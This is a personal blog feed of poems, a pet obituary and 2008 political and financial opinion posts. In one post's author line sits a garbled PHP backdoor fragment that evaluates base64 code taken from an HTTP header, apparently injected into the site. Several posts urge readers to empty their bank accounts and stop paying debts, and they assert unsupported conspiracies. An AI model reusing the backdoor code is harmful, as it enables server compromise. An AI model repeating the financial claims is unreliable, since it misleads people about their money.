UK Poet Blog, Creative Writing, Essays UK Poet Ivor Griffiths. Modern Poetry, Essays, Creative Writing Wed, 30 Dec 2015 22:09:53 +0000 en-US hourly 1 Ivor Mutation on Soundcloud: Electronic Dance Music Fri, 21 Nov 2014 09:57:01 +0000 Ivor Griffiths Check out:

Ivor Mutation on Sound Cloud Electronic Dance Music

Ivor Mutation

Electronic Dance Music

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A new poem by Ivor Griffiths; 21st May 2014 Wed, 21 May 2014 10:13:02 +0000 Ivor Griffiths Juxtaposed Carnal Conjugation – Natural Bliss:

Sub-tropical, antediluvian pastoral paradise;

Eden, dazzling whiteness, sublime beauty, perfection,
                         softly accepts the diamond.

She said:

"Control me, mould me, shape me,
bind me, scratch me, hold me;
just for you I’ll be there, now two,
just for you; only me, now two,
just for you; only you. Now two.
Only two."

Minds enclosed, conjoined.
Danced, magically as one, flying,
above the enchanted glade. Kissed: a love-miracle immediate.


Twilight, mist descended, pink petals reddened,
opened; they possess, they embrace, surrounded with sound;
darkness rises, yellow moonlight encircled them
looking through his eyes, intertwining her mind
deep inside, together as one, rising
entwined, coiled — immaculate. Unbreakable.


Red star supernova, collapse of gravity,
breaking through, we stop time, twist time,
fluttering; expanding waves – quivering,
biting, scratching; spirals colliding,
stardust auroras a sparkling glow growing:
red, orange, yellow, blinding white
hot, lasting forever; one heart together.
One love, one soul, one moment.

Only one. ]]> 0 New Poem Tue, 20 May 2014 18:08:12 +0000 Ivor Griffiths The Next X

When love moved me
it changed black stone:

psychometric psychosomatic

placebo effect,
synonym, like magic.
a spice infused mentat sees a blur in
periphery, fizzing by half closed eye, magnified
precisely, high definition of a noun scape, like a parasitic
paradigm, latches upon the concept of a quark, a string theory
mistake, a pattern shift to a parallax view, quantum mistake, relativity error;
Schrodinger’s cat and photons know, they do.
Know they do when you’re looking. Bends it does, when it thinks we’re not.
Magic is true – it is

energy of two galaxies colliding;
They look so beautiful>>>>
joined tonight, glad I know you now,
two stars combining — spangling brighter night—
in a cool blue light — slide inside your mind
moving in your love-gaze, love me, touch and hold me,
it feels so good to me, loving and owning.

Nobody knows me,
Nobody stole me,
no one knows the soul
crackling static loving and rolling.

I feel so good tonight time isn’t stalling,
filaments of silk entwining, helix is growing,
splitting slowly now it’s a confusion,
tell me what to do, I always do it,
don’t matter what it is,
I’ll do it always.

It feels so new to me,
loving and owning,
now you own me now
we’re both entwining,
soon I’ll be yours to keep,
till I can’t stay there.

But once I’m yours: I’m yours
nobody owns me. Just you.

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Herlihy’s Reptile Collection Tue, 18 Mar 2014 07:31:05 +0000 Ivor Griffiths Herlihy’s Reptile Collection

Georgian crowds bound to him, pondering
a vision: rings of people floating in orbit.

His mind died in damp fog – grey as ashtrays;
croaked, from a throat hollowed brittle
by fags and joints
smoked in a bar, in New York, South Tyneside.

Reborn, at four fifteen, on the cusp of light:
a solitary skink in a tank, in a tower,
in New York, South Tyneside.

Hidden under Shields’ sand,
weaned by electric heat: carefully.
A boy, blond, gawped through glass
blurred and twisted, like mutant pink.
In a tank, in a tower
near New York, South Tyneside.
Skink imagined a birth
pressed out in sharp quartz sand
beneath warm tobacco leaves

mottled, like the Seven Stars floor,
stubbed out fag-end burns,
a tracheotomy’s troublesome stoma
his cigarette holder: raw stingers
void his voltage, and scale a suit

crumpled to second thoughts
that scabbed a doubt:
sky is a strip
of electric light,
slung above a bucket.

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Autistica FAbularama BiPolaristica – a poem by Ivor Griffiths Sat, 15 Mar 2014 07:45:40 +0000 Ivor Griffiths Autistica FAbularama BiPolaristica

drilling machinery downwards, plunging
needles, pins a brain synapse connection; widgets
welded rivets – smoke, a thought slug, white head
liverish splendour, grinning, clever sly,
husband of black toothed adultress
- anyone but him. Anytime. He leaves,

glistening diamond studded trails, ooze
behind her rubbery slitherer, grins wide
swivel eyed, on stalks, pervay’s the corpse
dismissively, body rippling, past cackler’s
hysterical laughter at the fat hairless blob
laughing stock and cuckolded slob,
“See? Who the fook are you?”

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Moliere & Molly’s Magic Ping Moment Sat, 15 Mar 2014 07:28:16 +0000 Ivor Griffiths

Moliere & Molly’s Magic Ping Moment

It’s magic, full of star shaped fuzzy light stuff,

mirror-balls spinning, floating in bright yellow light

Molly, me and humanity – warm skins, a glowing

patina of sweat beads circling fractured fractions,

of fractious thoughts, we lie down, dark shadows merge

into our special white yellow light.

A butterfly, broken wings, crushed chrysalis bits,

meringue pieces lying on fresh tarmac.

A warm road skin – glowing black liquorice -

shiny water droplets, steam rises – smells nice.

“Bye, bye!” little boy cries,

crying tear drops splatter.

Now unaware, coming up, disassociating ethereal

grounds, as sunlight pings from window to mirror,

pulsing light, signifying to some -

fir trees on a horizon line, black against orange

nibbling a sky, blue blurred, fraying edges, threadbare.

Diverging now – shadow memories decorate pavements,

hardened, like Plato’s cave, the thirteenth (magic it is!) chakra,

a multi-faceted two dimensional timeless blood line.

Add ten, multiply, divide, sequence, linearise the binaries.

Then it’s done, now he’s gone. And her, and her. And him.

Pinging towards the sky. Forever happy.


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Her Sun, 02 Mar 2014 20:47:09 +0000 Ivor Griffiths Her

Blue eyes, furrowed nasal bridge frown, caressed, coveted and possessed.

Running away from tragedy. Remedial action required, a thought wisp.

He knew, the third eye, it can help that piece of every one;

fall back to the one, the me, that is needed.

Not a creeper, a crawler manipulator – listening and walking

suspicious and constant is the interruption and irritation

disruption and cancellation of my thought processing.

Obstructive – a road block to progress. Obstructive a thought planter – limpet like

in the distraction of her destructive need to control, hurt and gloat

at the result.

Stamina is such that no amount of double Dutch code speak – “it’s a load of shite” -

response as a cover for blank faced stupidity would help.

A good mother? Probably, but so what?

What does that mean?

But the stone man is dreaming a dream of passing – passing –

still with me and him and her and them – all to one place – somewhere she is not.

The lad walked in, and she’s back again, desperate to interrupt and control the situation.

To make her voice heard – come what may – what is envy?

She knows: fear. Looking in the mirror and seeing time.

Snow falls slowly, methodically, gradually, smoothing it all out. The

trees, bushes, dustbins and plants merge with cars, even houses.

The frozen land that crept through leather soles to freeze skin flat.

In the memory he looked eighteen months old, unsteady toddler,

standing, staring at his wrist. It had a bandage wrapped around it,

tied to the cot, bright white enamel metal.

He cried.


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Tuesday Thu, 27 Feb 2014 18:16:28 +0000 Ivor Griffiths


Toes started it. Nipping cold toe, blue shiny

frozen toe. Meandered, lazy like,

to fingers.

Peripheral light flickered sharply divergent and diagonally

he succumbed to a slumber, he wanted day before stuff

from a soft edged vista. He peered through a hole in time, jagged edges.

Surrounded, each side also, lines of Aztec gnomes, hats reddened

or blackened: depending on the thought mode.

Some frowned or glowered returned neutrality: back in the eye.

Acuity, concision and precision is a watchmaker’s blindness;

the last words lost to him, too small in time rewound 17 times over,

elevated shore line – misty heat haze above it lifted them

to red sky, blue sky and green.

Jealousy splits granite – slowly – ice

numbs it, time cracks it. Gone for good.

Bubba, Billy the Cat and me. At shore’s edge, waves small,

frothy saline drips,

i.v. leaking, blood dripping, puss fills a jar.

Life, it’s not that far,

elevates us into the eye-line

shimmer and the beauty and light of love.

The beginning is the end sometimes,

futile, lonely.

The mind’s eye or a Third Eye.

Lobsang knew.

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Witch’s Asp. Wed, 26 Feb 2014 16:19:32 +0000 Ivor Griffiths Witch’s Asp.

Swagger, curled lip snarl, high level android mentat, logic processor,
feelings guesser.
Thin mist of never caught thoughts hovers in periphery,
smeared to grey fog’s pirouette effect – velvetine leatherette,
luxury he imagines. Wrong again, of course,
Null void; reactionless, marble stone-faced cold, beard icicles dangle.

She surveys him, with warm love, no melting,

“You’re cold, callous, full of badness, suck the goodness from me,”
Evil you are, no feeling, don’t feel, don’t care don’t know.

She cried it like a Lioness who has lost a cub to the new Lion,
face crumpled in pain.

Hurt words exploding invisibly
around flint eyed ice bearded man

“love, yes,” he said.
“love, but never call, never go, never ask, never a card or a word, never…..”

The hurt he saw it, it evolved like a limpet, it stuck
to his thoughts, it evolved into a burrowing thing, it burrowed into his brain,
the bit that feels and explains the pain.

And he saw it there in her, he did, he saw it there. The first time
he cried he couldn’t stop. It hurt a lot.
Not him, her, he thought, not me her, he thought, he tried to anyway.

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The Kind Guide Wed, 26 Feb 2014 15:58:55 +0000 Ivor Griffiths The Kind Guide

The unrequited kind is mine

The not necessarily returned, closed heart kind,

The not spurned, nor, yet anyway, kind;

the burnt kind on crumpled mind and cursed kind; verse of worse,

seasonal autumnal needful feelings.

Immersed birthday letters;

proverbs, devoid of adverbs; love flutering

softly feathering caresses, last moments.

Shady luck;

Trick of chance

cannot feel your thoughts; can see you dance;

cannot hear your thoughts; can see you dance;

cannot imagine feelings; can see you dance;

cannot but would; Molly showed me the ecstasy of seeing the way other kind see, the right kind not my kind.

The guide I can love forever; that love is mine, forever;

I decide to end that not you, or her or him either.




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Fly Away Peter Fly Away Plant Sun, 23 Feb 2014 21:26:49 +0000 Ivor Griffiths Fly away Peter Fly away Plant

Starlight smile spangling doe eyes; soft

sunlight in velvet chestnut mantle.

Deep soulful eyes smiling, survey him.

Dreaming of the sensual curve of calf

  • stilleto balanced on toes, leaning in
  • and cupping hands; lingering touch
  • complete control; I’d know; I’d needed; caressing

memories of that first night. When we were younger than before, my

heart opening for the first time, that mischievous grin

stirs my soul for the first time,

the memory of it even now, the last time,

whenever I kissed your lips

pure, soft and sensuous. Beautiful.

Waves of love flowed out of me to you

never stopped being in love with you.

Dreams of sun drenched beaches and being in your arms again

Always in love and caressing

Queen of my night and Mother of Mine.

Forgive me.

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Not That bad Sun, 23 Feb 2014 15:37:56 +0000 Ivor Griffiths Not That bad

Sad, not bad, mad not sad, no not sad, unaware, anywhere, bad anytime,
“What you looking at twat? Eh?”
Sad, yeah pretty sad, not really, really sad, no, “out there” sad;
somewhere high now though,
In a k-hole, when I was two, out of body
smogged up for good then, fogged up
And choked up, choking on a star – its crescent congruence pertains to the appellation:
Constellation, stellar and canny good.
You could have it all, if it made bad not sad, or sad bad, just for a day,
Just for a friend who stayed true to you, in the end he did, for you, you know?
Stay true, he knew and you loved, because you is me, is you too, see?
All imagined, helical congruence is just a parallax view of it all.
Shaped, spangled, tangled and she played, indeed, twangled, strings vibrating
The heart in a red star glistening soft edged rose, red swollen
Exalted, excited, anticipated on elbow and knee creation, a fog of love descends,
Honey and the caress a cupping of unaware intuitive feeling my paradigm slide slowly
Clearly – plug in and turn on – clearing, disappearing –
“let me see it,”
Coming, coming, coming – it’s over make it harder
Get parted, diverge – demerge – avoid – polarity switch, core started the time of last orders
Dancing in the pale blue and white striped dress, pale above knee, bright shining doe eyes,
Illuminating mine, mine, she said. “Sometimes,” is the best it got, but now it’s never.
Left turn at the bog roll factory, or the box factory in the valley – she went, she came, and so scents life and the dying.
Photographs curl, like a fish on a line twisting and dying slowly – image fades,
The heart – the soul – the dead – the living we know, but unaware, of there and here.
That’s the place: the waste of time displaced; wanted and dreaded it flew by faster and larger.
Dropped through a fog of curlew craven crow like things with wings, a thought, it was;
A dawning of a new neurological quizzling report of an element of diligently laden kant that
Seeks to lay to rest, the rest of the true best – No, true.
Sad not bad.
But sad?
Aye, and that’s a fact.

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The Way Sun, 23 Feb 2014 15:08:37 +0000 Ivor Griffiths
    The Way

The way is to stay away, detach, “attachment is crap”, says Buddha,
He does, it says it, “attachment is crap”, in his book,
“Lead the way, me teeth’s gone, me legs are fucked”, said Buddha,
But me brains’re intact. In fact, activated to follow,
Slavishly, the way set. The way of words in books, and thought hooks,
“it weren’t me, it were ‘im it were, he’s a twat,” so sayeth the Buddha
The dictat signifier of a kinda inchoate heuristics thingy, and the effect
On the ontological what’s ‘is name? Is unpredictable, like logical positivism,
That pseudoscience stuff and other bollocks, just like that.
Just have a fucking fag, or a tab, choke your fucking self
Have another gallon of beer, gan on, yer kna yer want it.
The fucking twat he shat that fucking fat greasy bastard of a fucking in cress well, towers
Above a long way like a spinacle of glass, twinkling a bit, and shiny, like a car,
In a long stay car park, and a postcard lands lightly – the thought inside
It – the thought on it – the love in there, hidden, and there, and every
Where, follow that then – but follow. When you lose the me you lead,
You are very careless indeed,
Like being a child, kidnapped, now punished as the devil’s child
Beware, declares, the curse intercepted rebounds back to you?
No the one next to you. Never you.
You are you, you are mine and I am yours, we are we, we are there
We are here, our minds are there. Beaten for you there, see?
More than you, that’s fair
Even now, we are, even, okay?

Push me to the something there, not a whine or a whinge or a cry, something more than just fuck off and die, too easy, it’s what he wants? You, you really, really don’t see the power you have over the us of being them and one. See?
Q. E. fookin’ D.

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Sometimes Sun, 23 Feb 2014 14:32:38 +0000 Ivor Griffiths

Some incentive is needed to produce
Buy contact from, a magic number,
Called one.
It surprises one that no one, ever, is active, or
As clever, without
Knowing. Is manipulated, easy, no shame, or fear
But blame, yes blame there is, plenty of. And fear,
Yes fear there is, a lake of it, full of tears of pain shame,
That one lasts the longer, like a rebound mirrored forever,
Pinging away inside your brain, just when you think it’s gone
Ping, back it comes, like a dog with a ball,
Fear that is, pit of stomach panic fear and anxiety attack stuff,
A dead tree, swings and creaks, no leaves, not ready to snap,
But it will split like a melon chopped and spray splinters as it
Smashes a few things; besides time is a healer, money is a sticky plaster that
Helps the healing process along, loads of money is pain relief
But if you now know the what of how to do the stuff, in the book it is,
Just do it – I would.
So should you.

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Back from mourning Sun, 26 Jun 2011 17:45:05 +0000 Ivor Griffiths$eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ It’s been over a year. A hard year. We had a hamster who died on the 3rd June 2011.

A year to the day since losing Bounce.

But it’s a new moon soon, and I’ll be fifty-one, so I’m back to writing again.

At least with Kindle I’m guaranteed a publisher. Even if it is only little old me.

I aim to finish the novel and publish an anthology of poetry before Christmas. I’m not sure if it will be THIS Christmas but I’ll try to get one of them done. Available on Amazon.

I’d thought that Kindle and the like would kill books but now I’m not so sure. The readers will have the power now rather than the publishing houses. They’ll decide what gets read. I’m hoping my background in website development and online marketing will help me promote the books. I hope to get round to fixing the broken links on the site as well.

Thanks for all the support and kind comments about my lost boy Bounce.

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R. I. P. Bounce Thu, 03 Jun 2010 10:58:41 +0000 Ivor Griffiths Bounce, a loyal and kind Stafforshire Bull Terrier, died today at 9:20 a.m. He had been getting weak for some time, not eating much and finding it harder to get about. He was fourteen years old and simply faded away in the end. He had a good life and was much loved by his mum and dad and his three brothers. He clung on for as long as he could, he wanted to see the summer and stay with his family, but in the end he just didn’t have the strength.

I know he’s only a dog but to me he was as human as you. He could read my mind and was the best friend I’ve ever had. I’ll miss him every day of my life.

New Planet

Rest in peace Bounce and I’ll see you again one day running through the woods, jumping for your ball and chasing rabbits. The sun will always be shinning for you now. Lie and bake yourself in it, we’ll all meet again soon.

Love Dad

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nEw YeARs Eve Pome for HoMeleSS & all Clodplay fans zzzz…. Wed, 31 Dec 2008 17:27:29 +0000 Ivor Griffiths ~=: Beetle in a Basket :=~

A blowtorch, some pliers, some skin, and a scream,
C sharp pitch, the voice chipped flint,
smells of dry piss and fear of a cat; scraped off a shoe
a click prick’s will to politik, I think,


so spoke Zarathustra — to sign a tear in the lake –
to be remembered by a cured black-foot’s mind.

A melting totem carved in soap
and precisely positioned, gravity-wise,
relative to a legless one, who leaned and said,
“Wave, I can’t die,”

today anyway.

Then died anyway.


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Happy Christmas Mon, 22 Dec 2008 21:51:53 +0000 Ivor Griffiths Happy Christmas

Luck is the best bet

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Rough, Tough and a Sniffer-of-Muff Sun, 14 Dec 2008 16:23:18 +0000 Ivor Griffiths Ernest Miller Hemingway (July 21, 1899 — July 2, 1961) novelist, short-story writer, and journalist as well as a member of the 1920s expatriate community in Paris; veteran of World War I and part of “the Lost Generation.” He won a Pulitzer Prize in 1953 for The Old Man and the Sea, and was a Nobel Prize Winner in Literature in 1954. Hemingway attempted suicide spring 1961, he received ECT treatment again, which he’d had some time previously to “treat” depression and which destroyed most of his memory: ECT was then an often prescribed “remedy” for depression. On the morning of July 2, 1961 and three weeks shy of his 62nd birthday, Hemingway died at his home in Ketchum, Idaho, from a self-inflicted shotgun wound to the head.

The Old Man and the Sea is a classic short story, up there with Land of The Blind and any short story you have ever read that you thought “Wow!” about. Read it.

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Land of the Blind Sat, 06 Dec 2008 20:38:28 +0000 Ivor Griffiths In the Land of the Blind the one-eyed man is king.

one-eyed man, land of the blind by H. G. Wells

H. G. Wells disagrees.

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New Planet Thu, 13 Nov 2008 20:26:11 +0000 Ivor Griffiths This is an amazing picture of a new planet the Hubble telescope found. Of course it could be a firework. But then again they reckon that a load of white dots and squiggles on a black background proves Einstein’s Guess – sorry Theory of Relativity is right, and furthermore that the Universe is thirteen and a half billion years old. Not sure about the Quantum Guess, or String Guesswork. All a load of scientism, scientology, science, or perhaps just wild guesses and stabs in the dark. Might as well pick a horse using a pin, it’s just as valid as any of the guesses. Anyway nice picture.



New Planet


Mars – Amazing

It looks like an orange that’s been dropped from the second floor onto the pavement and split. A meteor hit it some time ago now, and the Martians being clever people new it was coming and came to the Earth to live, you see we’re all Martians really, that’s why Mars fascinates humans: we build high towers, and pyramids, and obsess about space travel, and hanker for something that’s just beyond imagining, and want explanations for everything.

Because we want to go home.

New Planet



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New Zealand Poetry Society and International Poetry Competition Thu, 02 Oct 2008 09:39:18 +0000 Ivor Griffiths, in association with the New Zealand Poetry Society, are staging an international poetry competition that celebrates written and performance poetry. US$2600 in prizes Free EntryWritten, audio and video submissions receivedAll categories, ages and countries. The competition began on 22 September 2008 and entries must be submitted before 2 November. Each week 100 poems advance to the second round, so don’t wait until the closing date to submit your entries. Full entry details from below. Bookhabit Poetry Competition

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An Interview with The Diet Mentor Wed, 01 Oct 2008 10:47:56 +0000 Ivor Griffiths I met the Diet Mentor on a cold day in August 1993 on Hampstead Heath. I wasn’t so sure about the venue, and felt nervous. It’d been raining and the leaves looked like they’d soon be turning. It had been a strange year: a washout. Much like 2007, poor old Tewkesbury Upon Avon turning into Tewkesbury-in-Avon. I felt so sorry for those poor folks. Anyway it’d been raining all day and at about four o’clock in the afternoon the light had begun to fade.

I stood shuffling from foot to foot pondering on the nature of diet. I was extremely over weight at the time and was actually rather hungry, looking forward to my third Big Mac of the day. All of a sudden a huge elephantine man came walking towards me. He had a big bushy beard and wore a hat like Gandalf’s, the beard was somewhat grey and tobacco stained. He smiled widely beneath the bristles showing yellow stained teeth. He carried a part eaten and part wrapped burger in one hand and a carton of coke in the other. His dark green tweed jacket was so big the weight of the cloth made the pockets hang half way down his tree trunk thighs. These looked more tree like than they otherwise might given that they were cocooned in dark brown corduroy that flapped as he walked. The sheer size of him reminded me of a chestnut tree.

He stuffed the burger in his mouth and then stretched out his hand to shake mine all the time nodding. He quickly withdrew his hand and methodically chewed before he emptied his mouth, then as he raised up the empty burger-wrapper he slurped on his coke. With a dramatic gesture he wiped his mouth with the greasy wrapper, before throwing it to the ground.

“Hi, pleased to meet you, I am The Diet Mentor,” he said, again shaking my hand enthusiastically.

My quizzical frown was sufficient to launch him into a well-rehearsed story.
“Look, you don’t have to be thin to tell people how to lose weight. Look I don’t want to, but that’s me. I know it’s bad but I can’t help it,” he said through the chewing.

I couldn’t help but notice the glint of sunlight that reflected from a the top of a brick wall just behind the small copse. It seemed to bounce off the ketchup stains that adorned his large silk tie that hung loosely from beneath his chins, the top button of his splattered silk shirt looked like it had never been fastened. He sweated profusely even though it was cold and seemed to pant, even after the slightest of movements.

I considered my own girth in the light of my astute and journalistic observations. Yes, I’m not that fat I’d thought naively. I considered myself to be rather clever at that point. The Mortgage Mentor clearly had many issues unresolved. Why, I thought, a man of at least thirty-five stone a Diet Mentor. He can hardly walk. And he could not: he walked, no staggered, for about fifty more yards and then headed, as if with an urgent purpose, one arm out stretched, the other grasping his flapping jacket, towards the nearest bench. He collapsed in a heap both great arms placed either side of him.

He removed his Gandalfian hat to reveal a head as bald as a billiard ball. It shone, indeed gleamed, decorated as it was with a patina of sweat. It had a red tinge to it. His hair began about two inches down the side of his head and flowed in grey locks to below his shoulders. His chest heaved at the effort and he belched sotto voce numerous times before I sat down beside him, moving the hat to accommodate my slighter girth. Notebook in hand and pen poised I began to speak.
“Are you gay?” He asked me.
“Erm, no, I’m married actually,” I replied. I felt instinctively defensive in the presence of the Mentor.
“So you want to lose weight, right?” He asked, eyeing my stomach that struggled to break free of my starched white shirt.

“Well no actually I’m here from Lose The Gut the diet magazine, you left us a message to meet you here,” I’d said, now wondering as to The Diet Mentor’s motives for meeting me in this place,
“Oh I thought you were from Slap The Fat, the contact mag,” he said, then sat back open mouthed.
I dropped my pen before he started to laugh.
“Lighten up man,” he said then smiled as he threw the empty carton of coke over his shoulder.
“What do you need to know?” He asked me.

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Karl Marx was a clever bloke, and Freud Tue, 30 Sep 2008 12:17:58 +0000 Ivor Griffiths Today in the Telegraph Philip Johnston writes about Marx. Now most right wingers who write about him in these terms haven’t read a word of the source material and get their ideas from other writers who write about him and haven’t read much of of it either. So it’s probably just an impression. He argues that we should not let the left win the argument. Sorry matey but it is the greedy bankers what lost the argument, not the loony left. The system has imploded and left a residue of smelly stuff in the wake of all the bankers, brokers and sundry corporate reptiles who are now gloating on the beach. They won’t be reading Karl Marx.

Karl Marx
Karl Marx

Surely he protests too much? Marx was pretty astute. He understood that humanity would win out and that capitalism was simply a stepping stone on the path to humanism. The problem that Popper and other philosophers have with Marx is that he attempted to formulate what would come after capitalism and that National Socialism and Communism were born. However this divergence from the path does not make him wrong in his analysis that capitalism would implode.

It’s not the markets stupid, it’s alienation. Alienation from the product of our labour and each other.

We just don’t care about each other, or ourselves, any more. Hiding in our houses, scared to go out at night, wishing we didn’t have to go to work, having to fill in endless forms and comply with hundreds of annoying rules. It’s this that Marx could see. He didn’t predict half the population would be so depressed that they’d comfort eat themselves to death mind. Freud did, nearly, his idea of over civilization and mass neurosis is bang on the money.
Greedy Banker
Greedy Banker

Where Marx went wrong was trying to extend the logic of his argument beyond his brilliantly intuitive analysis of capitalism. Because of the brilliance of his analysis and the fact that most who study his ideas of alienation empathise with them led those same folk to credit his arguments in favour of socialism/communism with the same brilliance and embrace it. Hence Popper and other philosophers reject his historicism and socialism as nothing more than scientist, which it is.

It will be interesting to see what will actually emerge from this and where the path will lead.

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Boris Johnson’s wrong-headed parable of the innocent banker Tue, 30 Sep 2008 06:31:30 +0000 Ivor Griffiths Boris Johnson writes in the Telegraph today, he seems to be seeking to excuse the behaviour of dodgy bankers. No not the Tories’ fund raisers but actual bankers. He seeks to use a parable (he’s related to God) to compare being bitten by a random dog with the alleged dishonest conduct of many banks. In other words it’s all just a rather nasty accident that’s no one’s fault, a bit like a rapist thinking no means yes I guess. Check out the story here.

I think it means we need less wrong-headed politicians and a few with brains. The reason for banks closing is greed on the part of politicians just as much as bankers.

The parable is daft, there is nothing accidental in banks colluding with valuers and brokers to push up values and make borrowing easier; it was done to generate commissions and charges. The writing was on the wall fo them when folk took the law into their own hands and started issuing proceedings to recover dishonestly high bank charges. Again the politicians collude in defence of this by kicking the cases into the long grass for years.

Coincidence and accidents? Not likely fella.

Boris Johnson strikes me as Caliban to Gordon Brown’s Prospero, not sure who David Cameron would be.

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Banks on the Brink of Bankruptcy – Get Your Money Out Now! Thu, 25 Sep 2008 12:10:18 +0000 Ivor Griffiths Head for the Hills
Head for the hills, get your cash out now

Even if you have less than £35,000 in the bank get it out now. Why? Do you know how long it will take to get your cash off the Government? Let’s face it they’re bust as well. You know there is a problem when the Sky News people are trying to sell nationalisation in the US. The people with savings are the losers if the bail out fails. The ones with the debt win. It’s the end of capitalism. Marx and Engels were right. Once you get production controlled by too few folk there is a natural tendency to exploit the monopoly – look at oil. I believe that it is humanity at work. When kids are dying for want of a fifty pence vitamin the race will react unfavourably. I think it laughable to see George Bush desperately trying to give all that money to Banks. And why? So they keep getting paid. It’s not about you or me, or jobs or mortgages. It’s about keeping power and stopping natural redistribution.

Contribute to the fiasco, even if you only have fifty quid in a bank take it out now.

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Gordon Brown to guillotine Proportional Representation through Parliament Fri, 19 Sep 2008 09:06:24 +0000 Ivor Griffiths  Jeff Randall, writing in the Telegraph today, reckons that Gordon Brown and LAbour are doomed:

“There’s no contrition, no admission of fallibility, no recognition of blunders – and most certainly no apology. This isn’t clever. It insults the electorate’s intelligence and helps explain why, like AIG, he’s doomed.” (Randall, J. Telegraph, 19.09.08)

He seems to be saying that Tony Blair wasn’t so bad. But of course he was. He bottled it and did as the yanks told him. So the public loathed him for his spineless connivance in war crime activities, torture and killing. Gordon Brown has the power, the time and the cheque book. The electoral system is completely undemocratic. This is why his only hope is to bring in PR. There are precedents for doing so in Scotland and the European elections. The House of Lords has been fixed, they have a healthy majority. The Queen would sign the bill. The Tories would be finished, for good. The time for gloating is not yet nigh.

So I think it’s premature to write off Gordon Brown completely. As for Labour, like I say,  they have the power and the cheque book, so they could yet fix it. One way of course is to guillotine through proportional representation for the next election. A list system would mean he could buy off all the plotters with a high place on the list. Of course the Lib Dems would have a Damascean vision, and see the virtues of New Labour’s electoral reform ideas. Errant Labour MPs would also see the wisdom of Gordon. As for the Tories, well, they’d never see the inside of Downing Street again, ever.

It is interesting to note that the Tory revival is coterminus with David Cameron disappearing into the undergrowth, along with fellow prefect  and TUC shop proprietor George Osbourne. As soon as they start gloating (they won’t be able to resist) the public will turn on them.

Envy, it’ll do for the toffs everytime.

The British love an underdog, especially the possibilities of “comebacks” – look at Tim Henman mania and now Murray. We love it. Brown has carefully positioned himself as the underdog. There was little he could say while capitalism crumbled – gloating would be counter-productive – making excuses would just grate. So getting fit, losing weight and keeping schtum were good moves. I remember Jim Callaghan and have loathed the useless slime ball since I sat one Christmas Day wishing the electricity would come back on so I could watch the tele. It would be fatal for Labour and Gordon Brown to let the unions mess it up. PR is the only way. He won’t do it though.

Stock up on candles for this winter. And get some thermals.

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Forum active at last Thu, 18 Sep 2008 13:32:36 +0000 Ivor Griffiths After months of delay I have finally gotten round to installing a forum. I haven’t set up the boards yet but will be doing so today, hopefully. Anyway the idea is to have boards dealing with work shopping poetry, flash, short stories, novel extracts, chapters, prologues, plot ideas, character sketches and so on. I am also going to include some boards to discuss Philosophy Literary Theory and Literary Criticism, Book Reviews, Politics, Current Affairs and general chit chat. The last time I created a forum it was deluged by spammers posting crappy links to crappy porn sites. I’ve used Simple Machines this time and it seems better at stopping that rubbish. If you have any ideas for additional boards just let me know.

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Tories to remove Bank of England independence to set interest rates Wed, 17 Sep 2008 19:41:38 +0000 Ivor Griffiths Ken Clarke today on Sky News gave the clearest and most unequivocal confirmation to date the the Conservative Party is set to reclaim the right to set interest rates should they win the election. He described “Gordon’s” decision to make the Bank of England independent a mistake. It was a Freudian slip. He was being asked to consider the reasons for the failure to arrest any of the British bankers that have busted the banking sector. His argument was that there was not enough political control.

Of course the whole sector is riddled with corruption and political connivance at a high level.

Remember the bank charges case? The banks have for years been stealing money from consumers in the full knowledge that what they were doing was unlawful. By any standards this is theft. The Theft Act of 1968 says so. Anything happened to the folk responsible for the largest fraud in UK history? Not likely. So a few brave souls began to reclaim the right and issued  summonses and requests for bank statement, using the Data Protection legislation to do so. The banks settled them all, not wanting a judgement recorded against them. Then, conveniently, the Office of fair Trading stepped in, issued hastily prepared proceedings, the government (who control The Court Service)  allocated a judge to deal with it and the whole case (worth billions) has been kicked into the long grass. The issues are very straightforward, the case is stopping hundreds of thousands of people from getting their money back, what happens? The OFT gets a second rate QC to fight the case against at least a hundred top rate commercial lawyers who are defending the banks. The banks will appeal this all the way to Europe. The Government could easily have passed emergency legislation to make the banks give the money back and instructed Scotland Yard to arrest those responsible.

Now with that kind of political interference and fixing of the court system it’s little wonder that the sector is rife with corruption. But incredibly they are still levying the charges.

The Tories will put rates back to 11% quicker than you can say “I’m bust”.  George Osborne reckons it’s the fault of house prices that HBOS is bust, but it’s his mates in the city who’ve ramped up prices in collusion with the valuers who suddenly decided that land in the UK was worth 100% more than it was ten years ago. And why? To generate massive commissions and bonuses. Where are they now? Gone fishing. Ken Clarke reckons capitalism is okay and there’s no real problem with the concept. How dumb is that? Of course there’s a problem.

Get your savings out as soon as you can, they’ll spend it all if you don’t.

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HBOS dead on it’s feet Wed, 17 Sep 2008 09:43:48 +0000 Ivor Griffiths As predicted yesterday HBOS is dying. The housing market has done for them. Some, Telegraph readers, say that housing benefit and life on the dole is at fault. I think to blame housing benefit is puerile. It’s not housing benefit that has pushed up rents and house prices. It is the planning system that has prevented new housing from being built, buy to let landlords, estate agents and banks manipulating the market to generate higher commissions and fees, and most contentiously – immigration.

While we have a political class with a direct financial interest in property prices going up there will be corruption within the whole system. The dude who said you can’t buck the market was right. American and British governments (one and the same?) have colluded in this for votes: low interest rates and artificially high house price inflation gets votes. The whole world pays the price for a few million making a few quid. It’s the home owners who’ve bought at the top of the market and the dopes who re-mortgaged up to the hilt who will pay in the end.

The best plan for the British debtor is to stop paying. If we all cancel our direct debits for three months that will be the end of it: the Courts wouldn’t be able to cope, debt collectors would be swamped; the utilities companies and banks would go bust; the government wouldn’t be able to pay their huge wage bill and ridiculously high pensions; councils would get no council tax; insurance companies would go bust.

Now that would make life interesting. A house in the UK should cost about £20,000.00. Housing should not be a huge financial issue for families. In Europe they don’t do this and they are not suffering like we are, it’s not really a global problem it’s an American one. We are feeling the effects of the “credit crunch” not because it’s a global issue but because we live in a monarchical society, we have less democracy than Saudi Arabia and the Americans have a direct veto on all our politics. In other words we are part of America with none of the rights that American citizens have.  Think about it. Tony Blair didn’t have to go to war in Iraq. The British people didn’t want him to, it was political suicide. Anyone watching him could see him visibly crumble and crumple as a result. Politically, if domestic politics was his only concern, he should not have done it. He did it anyway. He had no choice, he was told he had to. Lets face it the CIA can kill anyone. Another example of this was the government reclassifying cannabis from C to B when their own scientists said this was stupid. The Federal American Government see such moves as contrary to their national interest. Quite simply we are living in an American satellite with none of the rights of American citizens. Harold Wilson knew this and sought to gain American citizenship for us all. Look what happened to him…

Anyway I’d better not rabbit on about it too much or I’ll have a car accident. Think I’ll get the bus.

